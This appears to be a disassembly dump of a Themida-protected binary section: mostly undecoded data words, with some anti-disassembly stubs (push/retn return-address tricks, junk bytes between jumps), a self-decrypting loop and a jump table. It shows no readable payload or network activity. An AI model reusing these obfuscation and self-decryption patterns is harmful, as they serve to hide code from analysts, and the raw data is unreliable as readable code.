43DFDB2Dh, 6BA5AF58h, 0EE5EE720h, 791C8D74h dd 0BA624730h, 1059FFDDh, 226B09EAh, 270CACFDh, 40DFE0C5h dd 0FA000000h, 723B59BAh, 722D6126h, 800BA95h, 0DEAF57D7h dd 971C59F5h, 0EACF1286h, 0FF2B0449h, 9ADDDC7Dh, 5BFDBFE6h dd 0B4FF3912h, 92B31CBAh, 0FF5259DFh, 0BA2B1059h, 12733A59h dd 0A3F4397Ch, 0FF8B9075h, 4E88155Ch, 0AF5C58B8h, 9C0148EBh dd 822F6203h, 7AF9BA13h, 0DAE1423Bh, 0AED4F2BBh, 5C591C1Ch dd 0ACE587AFh, 7BD41607h, 4BEC573Dh, 7D92FDE7h, 0BE977C08h dd 6058E208h, 22AF5C71h, 633CAF09h, 9F228FC2h, 0C5666D36h dd 0AE9A3288h, 4912DB4Ch, 30h, 155CFFD2h, 0F9314BF1h, 0AAAF57D6h dd 1601C184h, 34982182h, 862B6607h, 0FC0EBC95h, 0B5FFEBCDh dd 0BC179CB7h, 7F3655BEh, 0DAE14239h, 8FB4F2BBh, 0FB9D5CFFh dd 0D354D9B2h, 0C32CDA61h, 6942EFA2h, 14FF25CFh, 76F03871h dd 0B600042Bh, 0FAB3D23Dh, 0A3464B5h, 1B3AE521h, 2C0DCD52h dd 453A726Eh, 25484FD0h, 0A00D44E4h, 0A7089E77h, 0FA60CD84h dd 47711770h, 30D67047h, 727D9296h, 51C7703Ah, 29DD66D6h dd 1AB0EC9Fh, 709CD641h, 54EDEEAAh, 2817938Ch, 90F830BAh dd 5BF8304Ah, 61CAAF58h, 58FFB969h, 58FB57D0h, 0FFE6C363h dd 0BA30155Ch, 0D891B31Ch, 80B8425Bh, 42AF57D7h, 0DEC54FE9h dd 0DFCAE8F4h, 25EF15h, 0E7300000h, 0BA1308ABh, 57D70800h dd 7451FAAFh, 3CDA1CBAh, 7BBC3A63h, 0FFD6DD5Bh, 0C52B1059h dd 5EDFE0h, 0E7FA0000h, 0BA1308ABh, 25C2DA1Ch, 559CF9B0h dd 584FF733h, 8962CDAFh, 4FE1D92Fh, 9780AF58h, 0C07FF973h dd 5310FFFFh, 57DBF129h, 8F78D3AFh, 0DDBA0229h, 0ABDD59FFh dd 0AF57D76Fh, 0BACCFA55h, 0AF57D77Eh, 0D4F2EB44h, 5A2E1C82h dd 0E43497A5h, 0BE21C5BFh, 9731D590h, 0AF57D793h, 4952C671h dd 88155CFFh, 9DD07152h, 0DE43062Ch, 0B9D6BCDh, 98AF5C59h dd 0AB74B9F0h, 0A05AC78Ah, 0B3C34E93h, 16BF4270h, 81B9C38Dh dd 43AF5C7Dh, 0CFBCFFE8h, 753C5F66h, 0A0ED8E31h, 0CC81A203h dd 6D0FF01Eh, 7D9E9A24h, 0CB64AF5Ch, 923BFE6Dh, 0E9690A11h dd 5C7D5B5Fh, 0F40E29AFh, 38D8059Ah, 38EEC743h, 71FC01BEh dd 0DF7EC067h, 27100996h, 0B7A30BF1h, 5612DB80h, 4Ch, 3A59BAE9h dd 3E175AFBh, 0D71635FAh, 0A20FF8B1h, 0ACEC1E44h, 0F7AF57D6h dd 98911E5Bh, 8AC36546h, 2C800791h, 0E9EF6976h, 261FDB80h dd 45A74680h, 0B29DB600h, 8C15866Dh, 127E685h, 0D9B2EB48h dd 1A3CA74Dh, 0AAF7B2DFh, 0B109871h, 0F1155CFFh, 8DAE6F0Eh dd 0E241D7C0h, 0A6C8FB59h, 0D0B446EBh, 0D46D8EB0h, 8C3A130Ch dd 0D8490023h, 0B0BAFEBBh, 36A316h, 70B661B6h, 8ABE74Bh dd 3459BA13h, 9E442771h, 0D0581535h, 3F59BACBh, 0E6F02976h dd 0D1DA739Ch, 67C860A0h, 0DA988DC4h, 0CAE8F4FDh, 50EF15DFh dd 30000000h, 1308ABE7h, 54F61CBAh, 0AF57D754h, 0D6B8F00Ah dd 0A18AAF57h, 80FCF621h, 0A848FE5Dh, 838741D7h, 41AF5845h dd 1CBAF1D6h, 87F1D7DAh, 2771D6E2h, 1059FFFCh, 0FE3A4CEAh dd 0C4AF57D6h, 0D72464A6h, 351EAF57h, 0C5D7DC5Ch, 37DFE0h dd 0E7FA0000h, 0BA1308ABh, 57D70800h, 57F8D9AFh, 0BA44211Ah dd 3959BADDh, 0E4FE2F74h, 0D4EAE56Ch, 6A356358h, 0BAA287CEh dd 10676230h, 12860FF7h, 2A4CB7B7h, 0B7E13A67h, 155CFF6Ch dd 0F9314BF1h, 0CBAF57D6h, 935BC860h, 0AF5C5905h, 6F763FACh dd 9E0185CCh, 2F8657FFh, 175988F4h, 627883Eh, 0BD7EED4Bh dd 0C406A41Fh, 0B604A079h, 0AFE2846Fh, 0DE6CC709h, 430BAF1h dd 495C7255h, 54EABDFBh, 0E6C30EFBh, 30155CFFh, 0E8F4FDDAh dd 0EF15DFCAh, 39h, 80ABE730h, 1B0C91D8h, 0BA4522h, 0AF57D708h dd 1855F5DEh, 0E816829Bh, 0DDBA5A4Fh, 743959BAh, 1CDD7B24h dd 6C593277h, 4FDFE0C5h, 3B000000h, 0CA8D8CB1h, 9D1B517Ch dd 8ABE796h, 1C51F1D2h, 1CBA979Ch, 0D75454F6h, 52EAF57h dd 0D7555593h, 230CAF57h, 357C1C87h, 0F10BBFE8h, 0AF57D6B9h dd 2308A08Bh, 0DF61CBAh, 0ABFC216Ch, 57D72763h, 0D1321DAFh dd 71BAFEB7h, 2B1059FFh, 5CFFE0C5h, 600EF115h, 9AFF825h dd 58C6509Ah, 0FEFAF5Ch, 5963A7E1h, 0F621AF5Ch, 6168C9A2h dd 943F8BC2h, 0D7D375F1h, 0ADAF5C58h, 8304A982h, 0CA7CAA11h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dword_5B8EA1 dd 0B9B60477h ; DATA XREF: sub_54D401+60Br ; Themida_:005A17C3r db 9Eh, 8, 23h dd 1308ABE7h, 733A59BAh, 0C8BBFD2Eh, 155CFFD3h, 0F4FDDA30h dd 15DFCAE8h, 26EFh, 0ABE73000h, 0BA1308h, 0AF57D708h dd 0BA7451FAh, 1059FFDDh, 0FE3A4CEAh, 0C4AF57D6h, 0C5E6CD6Bh dd 1DDFE0h, 0E7FA0000h, 0BA1308ABh, 57D70800h, 8B70D9AFh dd 59FFDDBAh, 59BA2B10h, 0F029763Fh, 0FFD8CDB8h, 0B2FB9D5Ch dd 61D354D9h, 3B783D52h, 0ABDD09E2h, 0B5FFDC84h, 0F651D57Eh dd 0BFC9FD46h, 0BCAECA74h, 0E7B8E54Eh, 0A8E58544h, 0A5C86BBFh dd 9B8747ECh, 3A35F4E3h, 0BAD9E041h, 690CB7F3h, 39678320h dd 0F4E38B8Fh, 5ADE7935h, 0D174B9D5h, 29021B98h, 0C7684584h dd 56D49DC0h, 9A074EEDh, 0C29h, 0A68BCD00h, 0AD8CD481h dd 0B0A68D2Bh, 1158FFCBh, 3970138Ch, 40092BF4h, 6D2042E3h dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h dd 8952FA4Ah, 4C281E2h, 83000000h, 148704EAh, 2C895C24h dd 701C6824h, 1C890000h, 20956824h, 0C890000h, 0EE0D6824h dd 1C8B06AEh, 4C48324h, 240C8B54h, 5604C483h, 8156DE89h dd 5646242Ch, 418F2777h, 8418108h, 27775646h, 240C8B5Eh dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8951241Ch dd 4C181E1h, 83000000h, 0C8704C1h, 0BBE95C24h, 0A8FFF987h dd 0E1194E1Fh, 0EE0A0038h, 0AEF58DB8h, 0FFC50306h, 0E203F3E0h dd 8DC1F33Eh, 0DC3B096Fh, 1DC27609h, 6578C5Ch, 68B3EE0Eh dd 64490A1Dh, 0C57B6C5Eh, 81D22F16h, 98CAAC5Bh, 0DEF84570h dd 3D38D005h, 0DC88213Fh, 48E21E5Ch, 48C51645h, 351BA001h dd 0B49F8630h, 18B5BE50h, 0E25CEF26h, 0B4F25411h, 0C77ECB72h dd 0CA12A83Eh, 0C497A62Bh, 9F690216h, 30679824h, 0D8909175h dd 0F2460A48h, 0C4524548h, 5B06EE3Ch, 64622177h, 3E30CC2Eh dd 0B3372A4Dh, 0E8D8D5Bh, 8006AEF7h, 8D89D2DEh, 6A805B9h dd 15DD9533h, 0B58B06A8h, 6A81B49h, 146985C7h, 5AB806A8h dd 9D2B0000h, 6A82B69h, 0BBD85C7h, 6A8h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 207A87C3h, 66561DE8h, 5FD38FBBh, 2A11B5FFh, 95FF06A8h dd 6A820DDh, 66C7B70Fh, 0BCFFCF81h, 95FF006Ah, 6A81B31h dd 0DEBC08Bh, 546C29CAh, 25B537F6h, 0B70EC33h, 11E8AEh dd 620C0000h, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 0F5A8262Ch dd 0F185895Bh, 8106A82Ah, 7088C3h, 0E8D23300h, 0Fh, 2129C9C2h dd 4A619D35h, 1CAF052Dh, 516FF67Ch, 212DBD33h, 585806A8h dd 8B130C8Bh, 0A81639B5h, 53C18106h, 662B7FDDh, 9D62F681h dd 1143F181h, 858B0914h, 6A80279h, 4765F181h, 8B667CD7h dd 130C89FAh, 0A03AD781h, 5E85113h, 97000000h, 6220F408h dd 5E27C080h, 0E904EA83h, 6, 37AFE646h, 0FA8110A4h, 0FFFF904Ch dd 11850Fh, 8B660000h, 38E9FBh, 19A80000h, 0A37D43ABh dd 0E9AD9490h, 14h, 0DAA4B1DEh, 7E60EF8Ah, 0CE5F802Ah dd 32ECD508h, 3EAC1283h, 0FFFF77E9h, 0B7629DFFh, 4DB230CEh dd 0D362A14Ah, 0B3FAB37Dh, 0FE83609h, 0B0000000h, 2382A580h dd 0E4E3A2B9h, 8B379C97h, 0F55E1084h, 5E7EC681h, 2BF50000h dd 0DF8B66D2h, 813234FFh, 7F7B57C8h, 81665931h, 817E21C0h dd 0B1B8DC1h, 81C38B44h, 0BECD0DC1h, 0D5BD8B4Eh, 8106A81Eh dd 517232C1h, 510DB47Bh, 11E9h, 13007700h, 81BDA6ADh, 23F73E9Fh dd 2AA7B85Ch, 48FCE4Fh, 8B535216h, 0F585FDFh, 68Dh, 4D858900h dd 8306A82Fh, 0CF8004EAh, 14FA8183h, 0FFFFFA2h, 0FFFF9785h dd 0A8B0FFFh, 60000000h, 0B5896160h, 6A82A2Dh, 768D8D61h dd 106AEF9h, 0A820A185h, 0B98D8906h, 6A06A805h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 6634C353h, 99EDABFh, 0A830D99Dh, 6985C706h, 9C06A814h dd 6A000063h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0F948C353h, 0A14FA3A2h, 0C7F8EA2Dh dd 0A80BBD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0F756F6D5h, 1332DC4Bh dd 0F8B70FC7h, 840Fh, 0B5FF0000h, 6A82071h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 74C35646h, 60002E68h dd 8B5FD459h, 0A81DE99Dh, 0DD95FF06h, 5206A820h, 0F08B5AFCh dd 95FF006Ah, 6A81B31h, 9EBC08Bh, 994E9F11h, 0ABAA42D3h dd 2E8D8D7Ah, 0B406AEFAh, 0B98D8923h, 6A06A805h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0DFADC357h, 0C7FE1D63h, 0A8146985h, 6DD406h, 0BDBD8B00h dd 8B06A81Fh, 0A8006585h, 0BD85C706h, 6A80Bh, 8B000000h dd 41B5FFD3h, 6A06A80Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0DACBC356h, 0AEDF0297h dd 6699E87Ch, 95FFD78Bh, 6A820DDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 8DC35040h, 14D0BB66h, 95FF006Ah dd 6A81B31h, 7CEBC08Bh, 3F25694Dh, 0CD76D8A9h, 1ABB68F7h dd 0B0A21491h, 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh dd 0F3DB339Ah, 645D5E71h, 6A9A85AFh, 0DC81CBBh, 8A7F013Fh dd 7B110D12h, 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh dd 9A1520FDh, 79899Ah, 0A8993585h, 1BDE69B4h, 4F431D26h dd 0BD131041h, 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h dd 7F571CF8h, 5074B00h, 6A2D21B1h, 0FB938D8Dh, 958B06AEh dd 6A806C9h, 5B98D89h, 958906A8h, 6A83121h, 146985C7h dd 608006A8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 524C93C3h, 2DAEBEB7h, 13E8E1h, 0D2D50000h dd 0B98D3374h, 0E04B4B64h, 918831CDh, 0D6AA2F1Ah, 8E982h dd 1A650000h, 41DC909Bh, 665EB2E7h, 85C7F38Bh, 6A80BBDh dd 0 ; --------------------------------------------------------------------------- mov [ebp+6A80E09h], ecx push dword ptr [ebp+6A82A11h] push 0 push ecx call sub_5B954B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B954B proc near ; CODE XREF: Themida_:005B9543p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5B954B endp ; --------------------------------------------------------------------------- align 4 retn 1207h ; --------------------------------------------------------------------------- js loc_5B956B mov eax, [ebp+6A81691h] loc_5B956B: ; CODE XREF: Themida_:005B955Fj call dword ptr [ebp+6A820DDh] push 0 push ebp call sub_5B957C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B957C proc near ; CODE XREF: Themida_:005B9574p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5B957C endp ; --------------------------------------------------------------------------- dec ebp cmp ebx, ebp enter 0FFFF8B66h, 0FBh mov [ebp+6A81DE9h], eax push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5B95B2 ; --------------------------------------------------------------------------- db 0A9h, 0ACh, 3Fh dd 83FBE56h, 8F91F7ECh db 0E4h, 83h ; --------------------------------------------------------------------------- loc_5B95B2: ; CODE XREF: Themida_:005B95A3j call sub_5B95C2 jmp far ptr 2143h:2FE9958Eh ; --------------------------------------------------------------------------- dw 0F48Fh db 69h, 1Eh ; =============== S U B R O U T I N E ======================================= sub_5B95C2 proc near ; CODE XREF: Themida_:loc_5B95B2p or [ebp+6A80F25h], ecx pop eax jmp loc_5B95DF ; --------------------------------------------------------------------------- dw 9B61h dd 0FFBBAB91h, 69E1F855h, 97ECA8E1h db 74h, 26h, 60h ; --------------------------------------------------------------------------- loc_5B95DF: ; CODE XREF: sub_5B95C2+7j add eax, 6185h sub [ebp+6A82089h], edi mov esi, 1841h mov [ebp+6A82649h], eax loc_5B95F6: ; CODE XREF: sub_5B95C2+71j push dword ptr [eax] or [ebp+6A80E15h], esi pop edi mov [ebp+6A83121h], edi xor edi, 4DD15EB1h sub edi, 10B7BC10h mov cx, 98C3h add edi, 76BACAA3h movsx edx, bx push edi mov ecx, eax pop dword ptr [eax] sub [ebp+6A82B69h], edi sub eax, 2 cld dec eax dec eax mov cx, si dec esi jnz loc_5B95F6 mov dx, cx lea ecx, [ebp+6AEFCEDh] mov [ebp+6A82F85h], edx sub [ebp+6A80185h], edi mov [ebp+6A805B9h], ecx push 0 push edi call sub_5B965F and [edi-3Dh], bl sub_5B95C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B965F proc near ; CODE XREF: sub_5B95C2+95p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5B965F endp ; --------------------------------------------------------------------------- db 23h ; --------------------------------------------------------------------------- ror dword ptr [ebp+esi-22A674E6h], cl push ss mov dword ptr [ebp+6A81469h], 703Ch push 0 push esi call sub_5B968D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B968D proc near ; CODE XREF: Themida_:005B9685p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B968D endp ; --------------------------------------------------------------------------- db 72h, 0E8h, 3Fh ; --------------------------------------------------------------------------- mov dl, 92h mov ebx, 41762C60h mov dword ptr [ebp+6A80BBDh], 0 jmp loc_5B96C4 ; --------------------------------------------------------------------------- dw 0B499h dd 0BB186E68h, 1888726Ah, 0A4C5A6C5h ; --------------------------------------------------------------------------- loc_5B96C4: ; CODE XREF: Themida_:005B96B1j pusha sub [ebp+6A81101h], ebx popa push dword ptr [ebp+6A805FDh] jmp loc_5B96E8 ; --------------------------------------------------------------------------- mov byte ptr [edx+6Ch], 6Fh test [edx+52h], ebx lds ebp, [eax+4F764AD0h] pop edx adc al, 5Dh xchg eax, edx loc_5B96E8: ; CODE XREF: Themida_:005B96D2j call dword ptr [ebp+6A820DDh] mov ebx, 45950E62h push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5B9779 ; --------------------------------------------------------------------------- db 95h dd 90BFB804h, 268951F0h, 0D515FD23h, 25263377h, 5968A5A6h dd 9F32B04Ch, 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0F6804BABh dd 0AE556D4Bh, 5AC7AD5Ah, 29E6689Ch, 0FA1ABA90h, 0FF1CE034h dd 83B1F70Ch, 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 426BA1E5h dd 0C4D71D52h, 7A70BC7h, 1E83DEE1h, 0A761F000h, 4063D40Dh dd 8143CF37h, 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h db 0B2h ; --------------------------------------------------------------------------- loc_5B9779: ; CODE XREF: Themida_:005B96FDj jmp loc_5B985C ; --------------------------------------------------------------------------- icebp jnz short loc_5B979B imul edx, edi, -64h inc ebp retf 0C8C3h ; --------------------------------------------------------------------------- dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h db 0ABh, 0ECh, 0A7h ; --------------------------------------------------------------------------- loc_5B979B: ; CODE XREF: Themida_:005B977Fj and [ebp-6Fh], bl mov dl, 6Bh hlt ; --------------------------------------------------------------------------- db 0B1h, 96h, 20h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 9 dup(0) ; --------------------------------------------------------------------------- loc_5B985C: ; CODE XREF: Themida_:loc_5B9779j jmp loc_5BAC75 ; --------------------------------------------------------------------------- push 6AF0048h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF013Bh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0219h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0361h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF03EAh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF049Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF053Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF05E9h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF069Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF07B4h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0880h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF09BDh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0A9Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0BE9h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0D12h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF0F1Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AF1015h jmp loc_5517CE ; --------------------------------------------------------------------------- db 1 dd 389B2F66h, 67C85E1Bh, 913288C1h, 0C162B8FDh, 0D259EDA0h dd 9FD2739Fh, 0CB86A80Bh, 0F9B0D47Fh, 2A6302ADh, 0A8D2089Ch dd 0B606D570h, 6CEE1452h, 0CEA2D2B4h, 0FB96D3Ah, 0B606B30Bh dd 0D1DA5EF9h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h dd 3C61CAB5h, 0FFF5FA3Ah, 743D96B5h, 77CD8A66h, 446D14h dd 0BAB60000h, 6ED0F030h, 0E344B3B5h, 73A40940h, 89326225h dd 67D42B5Dh, 85AEB600h, 89813B61h, 7BB60068h, 63EB58D0h dd 0B6006823h, 895DC80h, 77BCF597h, 14A30CBBh, 7C7E278Ch dd 14774780h, 0D967h, 5CFFB800h, 76178815h, 0C268F63Bh dd 57D780B8h, 0C06142AFh, 9B04948Dh, 0DD1839F8h, 7AB3F0BDh dd 120B1C81h, 3871148Dh, 0DC0618E2h, 0FE9DAF57h, 0ADD073B7h dd 5A3BFE4h, 57DBC7C3h, 2B6F99AFh, 19AF57DCh, 1583AC3Eh dd 37782292h, 2A252706h, 9D2FDBB4h, 0B600CB4Eh, 74B4D634h dd 2FB600CBh, 0AA85450Ch, 0B4C315B1h, 0DD28A280h, 7D9B61B7h dd 74B9FC92h, 8232F523h, 7C678D39h, 0C40296DBh, 0BCAAB16Ch dd 0E6C9FD56h, 88A10E47h, 0B8D93A20h, 6D0EB1F5h, 0E60CF820h dd 0AF0CEC80h, 1184D6h, 0D990B700h, 84DE24Dh, 3E7711B2h dd 6E2B47E8h, 9BD677D8h, 21F1800Fh, 56F94D00h, 822D7934h dd 0B41FABE2h, 0DA42D891h, 0D6C2C600h, 7A80B606h, 135EFFDDh dd 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 5155951Ah dd 6DB60005h, 256C0CF7h, 9B9718F3h, 1477F8AFh, 0F04Eh dd 5CFFD100h, 76178815h, 124D8F3Bh, 0E15140D8h, 0FDB48E0h dd 6ECA8FA4h, 58118698h, 0D47758AFh, 0F1941B9Dh, 6C450C30h dd 7ED675DEh, 515DCA1Dh, 0D3F7E03Ch, 0D8E59A99h, 8A2E678Fh dd 873C9019h, 1FD28063h, 0BFE8357Ch, 7E8852C6h, 0B6008DEBh dd 3C7112FDh, 410C2EF7h, 46D2CBDCh, 0B00B9FB8h, 0E503A71Ch dd 0B3F711BFh, 91B6008Dh, 8E1C1CA6h, 4DE6B600h, 2CB41DEBh dd 688EBCABh, 0AB2CDADEh, 968FA8BCh, 0A3EE8F70h, 0D69BBC67h dd 806ABC32h, 66DFDCECh, 1091h, 5EECA5C4h, 891D58F5h, 0FF4B0226h dd 2F7B3E54h, 18AEE384h, 1334DE93h, 0C767C85Eh, 0F1933C8Ah dd 0A2C162B8h, 1DCF5FEBh, 6D7AFEBh, 0E85795B6h, 54F25EFFh dd 83C66B8Fh, 0BEA6A74Bh, 2FBD491h, 9A57FBE4h, 3E6FB4F9h dd 69CFD845h, 541D40E3h, 0ABC728D6h, 0C06841EEh, 3559BADBh dd 89FA3370h, 0AA75A3EAh, 0C45DC28Bh, 0FF3260A1h, 443D1653h dd 723B5DC6h, 10D1742Dh, 60FE236Eh, 57D6E226h, 9E77A0AFh dd 604061A5h, 6A41FBDh, 0CEA990F4h, 59DFFB40h, 8026993h dd 57C0B600h, 5B81CBF1h, 0DA31BFFh, 2560E632h, 66AD8A11h dd 2F598D36h, 0B4321E9Ch, 0A760CD66h, 6E274675h, 0CBFFE8C1h dd 0DD87E6B1h, 5773DCBAh, 3A80C96Ch, 183BFA99h, 38407851h dd 78EE4E0Fh, 0FB3CABBh, 43E60000h, 7E13BC0Ah, 2444EF3Bh dd 0D876D96Dh, 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h dd 40C68FADh, 0B1F5BCDFh, 95953735h, 6FB606D9h, 5CFF0229h dd 6A0EF115h, 55ADFE23h, 0BF8E77Ah, 9D0EAAA9h, 31E2B81Ch dd 9A2421A7h, 0DCFC9E52h, 3A13A184h, 4863A541h, 3AB6007Dh dd 846F9511h, 9A0BA8E1h, 5DDBB4F9h, 35D16ACAh, 0A8983893h dd 0FC210ABCh, 91DC7D66h, 4B9D1B0Ch, 0BCA8984Bh, 17238C67h dd 1F8F173Bh, 45C2h, 0B5E76500h, 38B2D80Eh, 2796B8E8h dd 501D3E50h, 0B7E1DAD3h, 0ED24B1h, 0A9B03AB6h, 7871A997h dd 0B2ABE688h, 4B7FD866h, 398DC468h, 54CF0D3h, 0DF298F98h dd 0B60174D9h, 0A4E2ABCAh, 931059FBh, 0EE432h, 0B5E71500h dd 86AED80Eh, 7CB606D5h, 0D4ACEC1Eh, 0BD96B606h, 9EBD26C4h dd 4DF053D7h, 0BE1E9F04h, 0D4A7E105h, 0AEBCB5D2h, 9D3B6185h dd 0D2D5D577h, 84AFBCB5h, 0B5D33E7Ah, 0A9CA04BCh, 855DA930h dd 0A9503FCh, 3BE4226Bh, 23B55118h, 41E4CFCDh, 7872AB08h dd 0A6077278h, 0F96ACE87h, 83279C30h, 97DE7A65h, 4187110Ah dd 0C35D957Ah, 0A939EF48h, 0EBE5CE02h, 0E6B77C8h, 0FB9E0000h dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h, 0DDDD6FFDh dd 0A7B606D9h, 5EA6BA61h, 5DAF57D7h, 78A644FFh, 0EDF598D2h dd 754CE665h, 58A14D4Dh, 9C1C37AFh, 79EC74Ah, 7492BDB6h dd 0F46E5CEh, 802F89A2h, 0AD1694DDh, 8C5AC78Eh, 0EE4A0F23h dd 0EAA1FB59h, 2A63012Bh, 825A9485h, 8238113Dh, 0AFE16178h dd 0D00823BCh, 0EC7BB6BCh, 0E266DFDCh, 1500000Dh, 44EF3B72h dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B606DA64h dd 0FF33185Eh, 1788155Ch, 1793B574h, 57D6B5F5h, 0CBA48FAFh dd 4BA234D2h, 0E6F50B49h, 7B71484h, 17030F90h, 0F612DFFDh dd 814h, 0EB5E749h, 0D4F0AED8h, 79D2B606h, 8AC3624Dh, 85001A5Ch dd 3C399D7Eh, 42E816FCh, 258AC361h, 0B3CECAF4h, 9BB4B606h dd 77F3921Dh, 6B3D5D5h, 0E3AACEB6h, 0D25F48E3h, 6B40C08h dd 962D8FB6h, 0E4F3D670h, 0AF5BCAEh, 0ABFC2164h, 0B068C30Dh dd 0EC7CB316h, 2E5C2586h, 6100000Dh, 983B8FC6h, 0C768BEFBh dd 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh, 2B6608ABh dd 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606DB10h, 0BA8FB4F2h dd 2F743959h, 56F5BAFEh, 7211921Fh, 0A6C4F63Bh, 0D6CACE78h dd 9FB8AF57h, 0F101A219h, 12DFD205h, 763E0h, 5EA63B00h dd 5DAF57D7h, 78A644FFh, 7BBDF497h, 6D473EDh, 0C0E651B6h dd 0CECA7C9Ah, 0B4B606D3h, 470E2A9Bh, 0EE2F4ED1h, 992D064Fh dd 0D15E1736h, 0AB5FE448h, 0AF053A11h, 0F92F08BCh, 0EC7C92C7h dd 9219EAC9h, 0C500000Ch, 0F45FEBA2h, 238C1A5Fh, 55FE4C05h dd 852E7C39h, 961DA9E4h, 430E2FE3h, 773A5CC7h, 0A5EC9033h dd 0D69FBE61h, 0F416D450h, 0B606DBB4h, 0FFE3488Eh, 5288155Ch dd 0E4ADCB34h, 64A46EBFh, 5EAF57D7h, 59FCA3F5h, 6909EA10h dd 0AAEFF24h, 0CA660899h, 6057C55h, 77BC959Eh, 5FC481AEh dd 4F417983h, 2803AF58h, 5C63CCE9h, 0FF28753Ch, 0C66F4C06h dd 0DFAAD8B4h, 6A23F12h, 0E7000000h, 0AED80EB5h, 0B606D545h dd 0B3F69C3Fh, 0A0C32CDAh, 53F25DE9h, 5155951Ah, 4AB606D5h dd 13B551EAh, 0BCAF0638h, 0C387210Ah, 0CDEC7C91h, 0BE315EEh dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh dd 65A5E705h, 5FB606DCh, 5CFF3219h, 6DB2FB9Dh, 45DE433Ch dd 2018A226h, 0E2AF57D7h, 0BBD35049h, 53230B4Dh, 0D3564453h dd 3545EE45h, 12DF1259h, 613BCh, 3F5D4600h, 3D583D97h dd 5FEC55Fh, 63A68893h, 5AF57D7h, 0AB0F59Ah, 57D6B8F0h dd 77A18AAFh, 3A71CB0h, 6D479F9h, 0DAED6FB6h, 73E19852h dd 3D163870h, 0C6072689h, 0B4F2EBA2h, 0FC21680Bh, 8422993Bh dd 0AE802B42h, 8A3E19BCh, 0EC7D17CAh, 3214EDCEh, 6500000Bh dd 943F8BC2h, 0C36CBAFFh, 